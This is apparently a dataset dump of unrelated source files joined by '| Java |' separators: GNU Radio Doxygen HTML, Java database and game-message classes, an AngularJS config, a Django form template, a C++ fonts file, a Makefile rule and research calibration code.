</div>
<div id="splitbar" style="-moz-user-select:none;"
class="ui-resizable-handle">
</div>
</div>
<script type="text/javascript">
initNavTree('classgr__file__descriptor__source.html','');
</script>
<div id="doc-content">
<div class="header">
<div class="summary">
<a href="#pub-methods">Public Member Functions</a> |
<a href="#pro-methods">Protected Member Functions</a> |
<a href="#friends">Friends</a> </div>
<div class="headertitle">
<div class="title">gr_file_descriptor_source Class Reference<div class="ingroups"><a class="el" href="group__source__blk.html">Signal Sources</a></div></div> </div>
</div><!--header-->
<div class="contents">
<!-- doxytag: class="gr_file_descriptor_source" --><!-- doxytag: inherits="gr_sync_block" -->
<p>Read stream from file descriptor.
<a href="classgr__file__descriptor__source.html#details">More...</a></p>
<p><code>#include <<a class="el" href="gr__file__descriptor__source_8h_source.html">gr_file_descriptor_source.h</a>></code></p>
<div class="dynheader">
Inheritance diagram for gr_file_descriptor_source:</div>
<div class="dyncontent">
<div class="center">
<img src="classgr__file__descriptor__source.png" usemap="#gr_file_descriptor_source_map" alt=""/>
<map id="gr_file_descriptor_source_map" name="gr_file_descriptor_source_map">
<area href="structgr__sync__block.html" alt="gr_sync_block" shape="rect" coords="0,56,158,80"/>
<area href="structgr__block.html" alt="gr_block" shape="rect" coords="0,0,158,24"/>
</map>
</div></div>
<p><a href="classgr__file__descriptor__source-members.html">List of all members.</a></p>
<table class="memberdecls">
<tr><td colspan="2"><h2><a name="pub-methods"></a>
Public Member Functions</h2></td></tr>
<tr><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classgr__file__descriptor__source.html#a8553a2b7f53a6ffe8754860177c6a714">~gr_file_descriptor_source</a> ()</td></tr>
<tr><td class="memItemLeft" align="right" valign="top">int </td><td class="memItemRight" valign="bottom"><a class="el" href="classgr__file__descriptor__source.html#a28a7c20d750296c73c14c1391605ab19">work</a> (int noutput_items, gr_vector_const_void_star &input_items, gr_vector_void_star &output_items)</td></tr>
<tr><td class="mdescLeft"> </td><td class="mdescRight">just like <a class="el" href="structgr__block.html#adf59080d10f322e3816b7ac8f7cb2a7c" title="compute output items from input items">gr_block::general_work</a>, only this arranges to call consume_each for you <a href="#a28a7c20d750296c73c14c1391605ab19"></a><br/></td></tr>
<tr><td colspan="2"><h2><a name="pro-methods"></a>
Protected Member Functions</h2></td></tr>
<tr><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classgr__file__descriptor__source.html#a18569b6c876227223e861d66c726218d">gr_file_descriptor_source</a> (size_t itemsize, int fd, <a class="el" href="stdbool_8h.html#a97a80ca1602ebf2303258971a2c938e2">bool</a> repeat)</td></tr>
<tr><td class="memItemLeft" align="right" valign="top">int </td><td class="memItemRight" valign="bottom"><a class="el" href="classgr__file__descriptor__source.html#a19ace13388bd5037196b9ee4dce0543a">read_items</a> (char *buf, int nitems)</td></tr>
<tr><td class="memItemLeft" align="right" valign="top">int </td><td class="memItemRight" valign="bottom"><a class="el" href="classgr__file__descriptor__source.html#af0f9a847bf3cb06905b587e47368340e">handle_residue</a> (char *buf, int nbytes_read)</td></tr>
<tr><td class="memItemLeft" align="right" valign="top"><a class="el" href="volk_8tmpl_8h.html#a2b104da38b6f0a28d721ed74346ef298">void</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classgr__file__descriptor__source.html#a11599f25e05597bdda4f7e003435fecb">flush_residue</a> ()</td></tr>
<tr><td colspan="2"><h2><a name="friends"></a>
Friends</h2></td></tr>
<tr><td class="memItemLeft" align="right" valign="top"><a class="el" href="gr__core__api_8h.html#a8b8937b0c61edd85ab57ce8203543248">GR_CORE_API</a> <br class="typebreak"/>
<a class="el" href="classboost_1_1shared__ptr.html">gr_file_descriptor_source_sptr</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classgr__file__descriptor__source.html#ad2c64a0018c82cc0f6944632600fc6d4">gr_make_file_descriptor_source</a> (size_t itemsize, int fd, <a class="el" href="stdbool_8h.html#a97a80ca1602ebf2303258971a2c938e2">bool</a> repeat)</td></tr>
</table>
<hr/><a name="details" id="details"></a><h2>Detailed Description</h2>
<div class="textblock"><p>Read stream from file descriptor. </p>
</div><hr/><h2>Constructor & Destructor Documentation</h2>
<a class="anchor" id="a18569b6c876227223e861d66c726218d"></a><!-- doxytag: member="gr_file_descriptor_source::gr_file_descriptor_source" ref="a18569b6c876227223e861d66c726218d" args="(size_t itemsize, int fd, bool repeat)" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname"><a class="el" href="classgr__file__descriptor__source.html#a18569b6c876227223e861d66c726218d">gr_file_descriptor_source::gr_file_descriptor_source</a> </td>
<td>(</td>
<td class="paramtype">size_t </td>
<td class="paramname"><em>itemsize</em>, </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype">int </td>
<td class="paramname"><em>fd</em>, </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype"><a class="el" href="stdbool_8h.html#a97a80ca1602ebf2303258971a2c938e2">bool</a> </td>
<td class="paramname"><em>repeat</em> </td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td><td><code> [protected]</code></td>
</tr>
</table>
</div>
<div class="memdoc">
</div>
</div>
<a class="anchor" id="a8553a2b7f53a6ffe8754860177c6a714"></a><!-- doxytag: member="gr_file_descriptor_source::~gr_file_descriptor_source" ref="a8553a2b7f53a6ffe8754860177c6a714" args="()" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname"><a class="el" href="classgr__file__descriptor__source.html#a8553a2b7f53a6ffe8754860177c6a714">gr_file_descriptor_source::~gr_file_descriptor_source</a> </td>
<td>(</td>
<td class="paramname"></td><td>)</td>
<td></td>
</tr>
</table>
</div>
<div class="memdoc">
</div>
</div>
<hr/><h2>Member Function Documentation</h2>
<a class="anchor" id="a11599f25e05597bdda4f7e003435fecb"></a><!-- doxytag: member="gr_file_descriptor_source::flush_residue" ref="a11599f25e05597bdda4f7e003435fecb" args="()" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname"><a class="el" href="volk_8tmpl_8h.html#a2b104da38b6f0a28d721ed74346ef298">void</a> <a class="el" href="classgr__file__descriptor__source.html#a11599f25e05597bdda4f7e003435fecb">gr_file_descriptor_source::flush_residue</a> </td>
<td>(</td>
<td class="paramname"></td><td>)</td>
<td><code> [inline, protected]</code></td>
</tr>
</table>
</div>
<div class="memdoc">
</div>
</div>
<a class="anchor" id="af0f9a847bf3cb06905b587e47368340e"></a><!-- doxytag: member="gr_file_descriptor_source::handle_residue" ref="af0f9a847bf3cb06905b587e47368340e" args="(char *buf, int nbytes_read)" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">int <a class="el" href="classgr__file__descriptor__source.html#af0f9a847bf3cb06905b587e47368340e">gr_file_descriptor_source::handle_residue</a> </td>
<td>(</td>
<td class="paramtype">char * </td>
<td class="paramname"><em>buf</em>, </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype">int </td>
<td class="paramname"><em>nbytes_read</em> </td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td><td><code> [protected]</code></td>
</tr>
</table>
</div>
<div class="memdoc">
</div>
</div>
<a class="anchor" id="a19ace13388bd5037196b9ee4dce0543a"></a><!-- doxytag: member="gr_file_descriptor_source::read_items" ref="a19ace13388bd5037196b9ee4dce0543a" args="(char *buf, int nitems)" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">int <a class="el" href="classgr__file__descriptor__source.html#a19ace13388bd5037196b9ee4dce0543a">gr_file_descriptor_source::read_items</a> </td>
<td>(</td>
<td class="paramtype">char * </td>
<td class="paramname"><em>buf</em>, </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype">int </td>
<td class="paramname"><em>nitems</em> </td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td><td><code> [protected]</code></td>
</tr>
</table>
</div>
<div class="memdoc">
</div>
</div>
<a class="anchor" id="a28a7c20d750296c73c14c1391605ab19"></a><!-- doxytag: member="gr_file_descriptor_source::work" ref="a28a7c20d750296c73c14c1391605ab19" args="(int noutput_items, gr_vector_const_void_star &input_items, gr_vector_void_star &output_items)" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname">int <a class="el" href="classgr__file__descriptor__source.html#a28a7c20d750296c73c14c1391605ab19">gr_file_descriptor_source::work</a> </td>
<td>(</td>
<td class="paramtype">int </td>
<td class="paramname"><em>noutput_items</em>, </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype">gr_vector_const_void_star & </td>
<td class="paramname"><em>input_items</em>, </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype">gr_vector_void_star & </td>
<td class="paramname"><em>output_items</em> </td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td><td><code> [virtual]</code></td>
</tr>
</table>
</div>
<div class="memdoc">
<p>just like <a class="el" href="structgr__block.html#adf59080d10f322e3816b7ac8f7cb2a7c" title="compute output items from input items">gr_block::general_work</a>, only this arranges to call consume_each for you </p>
<p>The user must override work to define the signal processing code </p>
<p>Reimplemented from <a class="el" href="structgr__sync__block.html#aa8c8060e41ba213e038eb7a4eec8f723">gr_sync_block</a>.</p>
</div>
</div>
<hr/><h2>Friends And Related Function Documentation</h2>
<a class="anchor" id="ad2c64a0018c82cc0f6944632600fc6d4"></a><!-- doxytag: member="gr_file_descriptor_source::gr_make_file_descriptor_source" ref="ad2c64a0018c82cc0f6944632600fc6d4" args="(size_t itemsize, int fd, bool repeat)" -->
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr>
<td class="memname"><a class="el" href="gr__core__api_8h.html#a8b8937b0c61edd85ab57ce8203543248">GR_CORE_API</a> <a class="el" href="classboost_1_1shared__ptr.html">gr_file_descriptor_source_sptr</a> <a class="el" href="classgr__file__descriptor__source.html#ad2c64a0018c82cc0f6944632600fc6d4">gr_make_file_descriptor_source</a> </td>
<td>(</td>
<td class="paramtype">size_t </td>
<td class="paramname"><em>itemsize</em>, </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype">int </td>
<td class="paramname"><em>fd</em>, </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype"><a class="el" href="stdbool_8h.html#a97a80ca1602ebf2303258971a2c938e2">bool</a> </td>
<td class="paramname"><em>repeat</em> </td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td><td><code> [friend]</code></td>
</tr>
</table>
</div>
<div class="memdoc">
</div>
</div>
<hr/>The documentation for this class was generated from the following file:<ul>
<li><a class="el" href="gr__file__descriptor__source_8h_source.html">gr_file_descriptor_source.h</a></li>
</ul>
</div><!-- contents -->
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><a class="el" href="classgr__file__descriptor__source.html">gr_file_descriptor_source</a> </li>
<li class="footer">Generated on Mon Oct 14 2013 11:58:16 for GNU Radio 3.6.4.2 C++ API by
<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.7.6.1 </li>
</ul>
</div>
</body>
</html>
| Java |
package visualk.gallery.db;
import java.awt.Color;
import java.sql.*;
import java.util.logging.Level;
import java.util.logging.Logger;
import visualk.db.MysqlLayer;
import visualk.gallery.objects.Artist;
import visualk.gallery.objects.Work;
public class DbGallery extends MysqlLayer{
public DbGallery(String user, String pass, String db) {
super(user, pass, db);
}
public void addObra(Work obra, Artist author) {
if (this != null) {
try {
/*mySQL.executeDB("insert into hrzns (" + "nameHrz," + "dt," + "topHrz,"
+ "topHrzColor," + "bottomHrzColor," + "canvasWidth,"
+ "canvasHeigth," + "authorHrz," + "xPal," + "yPal," + "hPalx,"
+ "hPaly," + "alcada," + "colPal," + "horizontal,"
+ "aureaProp," + "superX," + "superY," + "textura," + "version) values ('"
+ hrz.getNameHrz()
+ "', "
+ "NOW()"
+ ", '"
+ hrz.getTopHrz()
+ "', '"
+ hrz.getTopHrzColor().getRGB()
+ "', '"
+ hrz.getBottomHrzColor().getRGB()
+ "', '"
+ hrz.getCanvasWidth()
+ "', '"
+ hrz.getCanvasHeigth()
+ "', '"
+ authorName
+ "', '"
+ hrz.getxPal()
+ "', '"
+ hrz.getyPal()
+ "', '"
+ hrz.gethPalx()
+ "', '"
+ hrz.gethPaly()
+ "', '"
+ hrz.getAlçada()
+ "', '"
+ hrz.getColPal().getRGB()
+ "', '"
+ hrz.isHorizontal()
+ "', '"
+ hrz.isAureaProp()
+ "', '"
+ hrz.getSuperX()
+ "', '"
+ hrz.getSuperY()
+ "', '"
+ hrz.isTextura()
+ "', '"
+ hrz.getVersion() + "')");*/
} catch (Exception e) {
} finally {
disconnect();
}
}
}
public ResultSet listHrzns() {
ResultSet myResult = null;
try {
myResult = queryDB("SELECT * FROM hrzns WHERE namehrz<>'wellcome' order by dt desc;");
} catch (SQLException ex) {
Logger.getLogger(DbGallery.class.getName()).log(Level.SEVERE, null, ex);
} catch (ClassNotFoundException ex) {
Logger.getLogger(DbGallery.class.getName()).log(Level.SEVERE, null, ex);
}
return (myResult);
}
/*
public Horizon getHrznBD(String name) {
Horizon temp = new Horizon(name);
ResultSet myResult;
myResult = mySQL.queryDB("SELECT * FROM hrzns where nameHrz='" + name + "'");
temp.makeRandom(100, 300);
if (myResult != null) {
try {
while (myResult.next()) {
String nameHrz = "";
String topHrz = "";
String topHrzColor = "";
String bottomHrzColor = "";
String canvasWidth = "";
String canvasHeigth = "";
String authorHrz = "";
String xPal = "";
String yPal = "";
String hPalx = "";
String hPaly = "";
String alcada = "";
String horizontal = "";
String aureaProp = "";
String colPal = "";
String superX = "";
String superY = "";
String textura = "";
String version = "";
try {
nameHrz = myResult.getString("nameHrz");
topHrz = myResult.getString("topHrz");
topHrzColor = myResult.getString("topHrzColor");
bottomHrzColor = myResult.getString("bottomHrzColor");
canvasWidth = myResult.getString("canvasWidth");
canvasHeigth = myResult.getString("canvasHeigth");
authorHrz = myResult.getString("authorHrz");
xPal = myResult.getString("xPal");
yPal = myResult.getString("yPal");
hPalx = myResult.getString("hPalx");
hPaly = myResult.getString("hPaly");
alcada = myResult.getString("alcada");
colPal = myResult.getString("colPal");
horizontal = myResult.getString("horizontal");
aureaProp = myResult.getString("aureaProp");
superX = myResult.getString("superX");
superY = myResult.getString("superY");
textura = myResult.getString("textura");
version = myResult.getString("version");
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
temp.setNameHrz(nameHrz);
temp.setTopHrz(Integer.parseInt(topHrz));
temp.setTopHrzColor(new Color(Integer.parseInt(topHrzColor)));
temp.setBottomHrzColor(new Color(Integer.parseInt(bottomHrzColor)));
temp.setCanvasWidth(Integer.parseInt(canvasWidth));
temp.setCanvasHeigth(Integer.parseInt(canvasHeigth));
temp.setAuthorHrz(authorHrz);
temp.setxPal(Integer.parseInt(xPal));
temp.setyPal(Integer.parseInt(yPal));
temp.sethPalx(Integer.parseInt(hPalx));
temp.sethPaly(Integer.parseInt(hPaly));
temp.setAlcada(Integer.parseInt(alcada));
temp.setColPal(new Color(Integer.parseInt(colPal)));
temp.setHorizontal(horizontal.equals("true"));
temp.setAureaProp(aureaProp.equals("true"));
temp.setSuperX(Integer.parseInt(superX));
temp.setSuperY(Integer.parseInt(superY));
temp.setTextura(textura.equals("true"));
temp.setVersion(version);
}
myResult.close();
} catch (NumberFormatException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SQLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
return (temp);
}
*/
}
| Java |
/**
* Java Settlers - An online multiplayer version of the game Settlers of Catan
* Copyright (C) 2003 Robert S. Thomas <thomas@infolab.northwestern.edu>
* Portions of this file Copyright (C) 2014,2017,2020 Jeremy D Monin <jeremy@nand.net>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 3
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* The maintainer of this program can be reached at jsettlers@nand.net
**/
package soc.message;
/**
* This reply from server means this client currently isn't allowed to connect.
*
* @author Robert S Thomas
*/
public class SOCRejectConnection extends SOCMessage
{
private static final long serialVersionUID = 100L; // last structural change v1.0.0 or earlier
/**
* Text message
*/
private String text;
/**
* Create a RejectConnection message.
*
* @param message the text message
*/
public SOCRejectConnection(String message)
{
messageType = REJECTCONNECTION;
text = message;
}
/**
* @return the text message
*/
public String getText()
{
return text;
}
/**
* REJECTCONNECTION sep text
*
* @return the command String
*/
public String toCmd()
{
return toCmd(text);
}
/**
* REJECTCONNECTION sep text
*
* @param tm the text message
* @return the command string
*/
public static String toCmd(String tm)
{
return REJECTCONNECTION + sep + tm;
}
/**
* Parse the command String into a RejectConnection message
*
* @param s the String to parse; will be directly used as {@link #getText()} without any parsing
* @return a RejectConnection message
*/
public static SOCRejectConnection parseDataStr(String s)
{
return new SOCRejectConnection(s);
}
/**
* @return a human readable form of the message
*/
public String toString()
{
return "SOCRejectConnection:" + text;
}
}
| Java |
(function (angular) {
'use strict';
var config = {
githubApiUrl: 'https://api.github.com/',
};
angular.module('myGithubApp').constant('config', config);
})(angular);
| Java |
<html>
<style>
body
{
font-family: Helvetica, Arial;
color: #2B332E;
}
.errorlist li
{
margin: 0;
color: red;
}
a
{
text-decoration: none;
color: #2B332E;
}
p.button
{
font-size: 0.875em;
font-weight: bold;
float: left;
border: 1px solid #C0CCC4;
background-color: #ebf2ee;
padding: 0.25em 8px;
-webkit-border-radius: 5px;
-webkit-box-shadow: 0 1px #FFF;
}
</style>
<body>
<h1>Opt-In/Opt-Out</h1>
<form method="POST" action="">
<p>
<label>Email Address</label>
{{ form.email }}
{% if form.email.errors %}{{ form.email.errors }}{% endif %}
</p>
<p>
<label>Subscribe</label>
{{ form.subscribed }}
</p>
<p class="button"><a href="javascript:document.forms[0].submit()">Submit</a></p>
</form>
</body>
</html> | Java |
/* Copyright 2013-2017 Matt Tytel
*
* helm is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* helm is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with helm. If not, see <http://www.gnu.org/licenses/>.
*/
#include "fonts.h"
Fonts::Fonts() {
proportional_regular_ = Font(Typeface::createSystemTypefaceFor(
BinaryData::RobotoRegular_ttf, BinaryData::RobotoRegular_ttfSize));
proportional_light_ = Font(Typeface::createSystemTypefaceFor(
BinaryData::RobotoLight_ttf, BinaryData::RobotoLight_ttfSize));
monospace_ = Font(Typeface::createSystemTypefaceFor(
BinaryData::DroidSansMono_ttf, BinaryData::DroidSansMono_ttfSize));
}
| Java |
manual.html: manual.md Makefile
pandoc --to=html5 --standalone --css=manual.css --table-of-contents --variable=lang:en --mathjax $< > $@
| Java |
package org.codefx.jwos.file;
import org.codefx.jwos.analysis.AnalysisPersistence;
import org.codefx.jwos.artifact.AnalyzedArtifact;
import org.codefx.jwos.artifact.CompletedArtifact;
import org.codefx.jwos.artifact.DownloadedArtifact;
import org.codefx.jwos.artifact.FailedArtifact;
import org.codefx.jwos.artifact.FailedProject;
import org.codefx.jwos.artifact.IdentifiesArtifact;
import org.codefx.jwos.artifact.IdentifiesProject;
import org.codefx.jwos.artifact.ProjectCoordinates;
import org.codefx.jwos.artifact.ResolvedArtifact;
import org.codefx.jwos.artifact.ResolvedProject;
import org.codefx.jwos.file.persistence.PersistentAnalysis;
import org.codefx.jwos.file.persistence.PersistentAnalyzedArtifact;
import org.codefx.jwos.file.persistence.PersistentCompletedArtifact;
import org.codefx.jwos.file.persistence.PersistentDownloadedArtifact;
import org.codefx.jwos.file.persistence.PersistentFailedArtifact;
import org.codefx.jwos.file.persistence.PersistentFailedProject;
import org.codefx.jwos.file.persistence.PersistentProjectCoordinates;
import org.codefx.jwos.file.persistence.PersistentResolvedArtifact;
import org.codefx.jwos.file.persistence.PersistentResolvedProject;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.InputStream;
import java.util.Collection;
import java.util.SortedSet;
import java.util.concurrent.ConcurrentSkipListSet;
import java.util.function.Function;
import static java.util.Collections.unmodifiableSet;
import static org.codefx.jwos.Util.transformToList;
/**
* An {@link AnalysisPersistence} that uses YAML to store results.
* <p>
* This implementation is not thread-safe.
*/
public class YamlAnalysisPersistence implements AnalysisPersistence {
private static final Logger LOGGER = LoggerFactory.getLogger("Persistence");
private static final YamlPersister PERSISTER = new YamlPersister();
private final SortedSet<ProjectCoordinates> projects
= new ConcurrentSkipListSet<>(IdentifiesProject.alphabeticalOrder());
private final SortedSet<ResolvedProject> resolvedProjects
= new ConcurrentSkipListSet<>(IdentifiesProject.alphabeticalOrder());
private final SortedSet<FailedProject> resolutionFailedProjects
= new ConcurrentSkipListSet<>(IdentifiesProject.alphabeticalOrder());
private final SortedSet<DownloadedArtifact> downloadedArtifacts
= new ConcurrentSkipListSet<>(IdentifiesArtifact.alphabeticalOrder());
private final SortedSet<FailedArtifact> downloadFailedArtifacts
= new ConcurrentSkipListSet<>(IdentifiesArtifact.alphabeticalOrder());
private final SortedSet<AnalyzedArtifact> analyzedArtifacts
= new ConcurrentSkipListSet<>(IdentifiesArtifact.alphabeticalOrder());
private final SortedSet<FailedArtifact> analysisFailedArtifacts
= new ConcurrentSkipListSet<>(IdentifiesArtifact.alphabeticalOrder());
private final SortedSet<ResolvedArtifact> resolvedArtifacts
= new ConcurrentSkipListSet<>(IdentifiesArtifact.alphabeticalOrder());
private final SortedSet<FailedArtifact> resolutionFailedArtifacts
= new ConcurrentSkipListSet<>(IdentifiesArtifact.alphabeticalOrder());
private final SortedSet<CompletedArtifact> completedArtifacts
= new ConcurrentSkipListSet<>(IdentifiesArtifact.alphabeticalOrder());
// CREATION & PERSISTENCE
private YamlAnalysisPersistence() {
// private constructor to enforce use of static factory methods
}
public static YamlAnalysisPersistence empty() {
return new YamlAnalysisPersistence();
}
public static YamlAnalysisPersistence fromString(String yamlString) {
if (yamlString.isEmpty())
return empty();
PersistentAnalysis persistent = PERSISTER.read(yamlString, PersistentAnalysis.class);
return from(persistent);
}
public static YamlAnalysisPersistence fromStream(InputStream yamlStream) {
LOGGER.debug("Parsing result file...");
PersistentAnalysis persistent = PERSISTER.read(yamlStream, PersistentAnalysis.class);
if (persistent == null)
return new YamlAnalysisPersistence();
else
return from(persistent);
}
private static YamlAnalysisPersistence from(PersistentAnalysis persistent) {
YamlAnalysisPersistence yaml = new YamlAnalysisPersistence();
addTo(persistent.step_1_projects, PersistentProjectCoordinates::toProject, yaml.projects);
addTo(persistent.step_2_resolvedProjects, PersistentResolvedProject::toProject, yaml.resolvedProjects);
addTo(persistent.step_2_resolutionFailedProjects, PersistentFailedProject::toProject, yaml.resolutionFailedProjects);
addTo(persistent.step_3_downloadedArtifacts, PersistentDownloadedArtifact::toArtifact, yaml.downloadedArtifacts);
addTo(persistent.step_3_downloadFailedArtifacts, PersistentFailedArtifact::toArtifact, yaml.downloadFailedArtifacts);
addTo(persistent.step_4_analyzedArtifacts, PersistentAnalyzedArtifact::toArtifact, yaml.analyzedArtifacts);
addTo(persistent.step_4_analysisFailedArtifacts, PersistentFailedArtifact::toArtifact, yaml.analysisFailedArtifacts);
addTo(persistent.step_5_resolvedArtifacts, PersistentResolvedArtifact::toArtifact, yaml.resolvedArtifacts);
addTo(persistent.step_5_resolutionFailedArtifacts, PersistentFailedArtifact::toArtifact, yaml.resolutionFailedArtifacts);
PersistentCompletedArtifact
.toArtifacts(persistent.step_6_completedArtifacts.stream())
.forEach(yaml.completedArtifacts::add);
return yaml;
}
private static <P, T> void addTo(Collection<P> source, Function<P, T> transform, Collection<T> target) {
source.stream()
.map(transform)
.forEach(target::add);
}
public String toYaml() {
PersistentAnalysis persistent = toPersistentAnalysis();
return PERSISTER.write(persistent);
}
private PersistentAnalysis toPersistentAnalysis() {
PersistentAnalysis persistent = new PersistentAnalysis();
persistent.step_1_projects = transformToList(projects, PersistentProjectCoordinates::from);
persistent.step_2_resolvedProjects = transformToList(resolvedProjects, PersistentResolvedProject::from);
persistent.step_2_resolutionFailedProjects = transformToList(resolutionFailedProjects, PersistentFailedProject::from);
persistent.step_3_downloadedArtifacts = transformToList(downloadedArtifacts, PersistentDownloadedArtifact::from);
persistent.step_3_downloadFailedArtifacts = transformToList(downloadFailedArtifacts, PersistentFailedArtifact::from);
persistent.step_4_analyzedArtifacts = transformToList(analyzedArtifacts, PersistentAnalyzedArtifact::from);
persistent.step_4_analysisFailedArtifacts = transformToList(analysisFailedArtifacts, PersistentFailedArtifact::from);
persistent.step_5_resolvedArtifacts = transformToList(resolvedArtifacts, PersistentResolvedArtifact::from);
persistent.step_5_resolutionFailedArtifacts = transformToList(resolutionFailedArtifacts, PersistentFailedArtifact::from);
persistent.step_6_completedArtifacts = transformToList(completedArtifacts, PersistentCompletedArtifact::from);
return persistent;
}
// IMPLEMENTATION OF 'AnalysisPersistence'
@Override
public Collection<ProjectCoordinates> projectsUnmodifiable() {
return unmodifiableSet(projects);
}
@Override
public Collection<ResolvedProject> resolvedProjectsUnmodifiable() {
return unmodifiableSet(resolvedProjects);
}
@Override
public Collection<FailedProject> projectResolutionErrorsUnmodifiable() {
return unmodifiableSet(resolutionFailedProjects);
}
@Override
public Collection<DownloadedArtifact> downloadedArtifactsUnmodifiable() {
return unmodifiableSet(downloadedArtifacts);
}
@Override
public Collection<FailedArtifact> artifactDownloadErrorsUnmodifiable() {
return unmodifiableSet(downloadFailedArtifacts);
}
@Override
public Collection<AnalyzedArtifact> analyzedArtifactsUnmodifiable() {
return unmodifiableSet(analyzedArtifacts);
}
@Override
public Collection<FailedArtifact> artifactAnalysisErrorsUnmodifiable() {
return unmodifiableSet(analysisFailedArtifacts);
}
@Override
public Collection<ResolvedArtifact> resolvedArtifactsUnmodifiable() {
return unmodifiableSet(resolvedArtifacts);
}
@Override
public Collection<FailedArtifact> artifactResolutionErrorsUnmodifiable() {
return unmodifiableSet(resolutionFailedArtifacts);
}
@Override
public void addProject(ProjectCoordinates project) {
projects.add(project);
}
@Override
public void addResolvedProject(ResolvedProject project) {
resolvedProjects.add(project);
}
@Override
public void addProjectResolutionError(FailedProject project) {
resolutionFailedProjects.add(project);
}
@Override
public void addDownloadedArtifact(DownloadedArtifact artifact) {
downloadedArtifacts.add(artifact);
}
@Override
public void addDownloadError(FailedArtifact artifact) {
downloadFailedArtifacts.add(artifact);
}
@Override
public void addAnalyzedArtifact(AnalyzedArtifact artifact) {
analyzedArtifacts.add(artifact);
}
@Override
public void addAnalysisError(FailedArtifact artifact) {
analysisFailedArtifacts.add(artifact);
}
@Override
public void addResolvedArtifact(ResolvedArtifact artifact) {
resolvedArtifacts.add(artifact);
}
@Override
public void addArtifactResolutionError(FailedArtifact artifact) {
resolutionFailedArtifacts.add(artifact);
}
@Override
public void addResult(CompletedArtifact artifact) {
completedArtifacts.add(artifact);
}
}
| Java |
package Calibradores;
import java.io.File;
import Metricas.MultiescalaConBorde;
import Modelo.UrbanizandoFrenos;
public class TanteadorTopilejo extends Tanteador {
UrbanizandoFrenos CA;
public TanteadorTopilejo() {
// int[] unConjuntoDeParametros = {1, 1, 1, 333, 333, 333, 1, 1, 444, 400, 400, 555};
// puntoDeTanteo = new PuntoDeBusqueda(unConjuntoDeParametros);
// puntoDelRecuerdo = new PuntoDeBusqueda(unConjuntoDeParametros);
CA = new UrbanizandoFrenos(72, 56, 11, 4);
CA.setInitialGrid(new File ("Topilejo/topi1995.txt"));
CA.setBosque(new File ("Topilejo/bosqueb.txt"));
CA.setDistVias(new File ("Topilejo/distancia1.txt"));
CA.setPendiente(new File ("Topilejo/pendiente.txt"));
CA.setGoalGrid(new File ("Topilejo/topi1999.txt"));
infoADN = CA.infoADN;
MultiescalaConBorde metrica = new MultiescalaConBorde(CA.gridMeta, CA.numeroDeCeldasX, CA.numeroDeCeldasY );
metrica.normalizateConEste(new File ("Topilejo/topi1995.txt"));
CA.setMetric(metrica);
CA.setIteraciones(4);
puntoDeTanteo = new PuntoDeBusqueda(infoADN.size);
puntoDelRecuerdo = new PuntoDeBusqueda(infoADN.size);
vuelo = new PuntoDeBusqueda(infoADN.size);
bajando = new Ventana("Guardar Acercamiento", "Caminante Siego Estocastico");
bajando.setVisible(true);
bajando.graf.setLocation(850, 715);
bajando.setQueTantoLocation(865, 650);
//solo para correr los 3 calibradores al mismo tiempo
// ventana = new Ventana("Guardar Todo", "Todos");
// ventana.setVisible(true);
pintaGrid1 = new PintaGrid(new File("Topilejo/topi1999.txt"), "Grrid Meta", 4);
pintaGrid2 = new PintaGrid(new File("Topilejo/topi1995.txt"), "Mejor Aproximacion", 5);
pintaGrid3 = new PintaGrid(new File("Topilejo/topi1995.txt"), "Grid de Salida", 4);
pintaGrid2.setLocation(865, 370);
}
public double mide(int[] parametros) {
return CA.mide(parametros, 100);
}
public static void main(String[] args) {
TanteadorTopilejo topo = new TanteadorTopilejo();
topo.busca();
}
@Override
public int[][] unOutputPara(int[] parametros) {
// TODO Auto-generated method stub
return CA.unOutputPara(parametros);
}
}
| Java |
#!/bin/bash
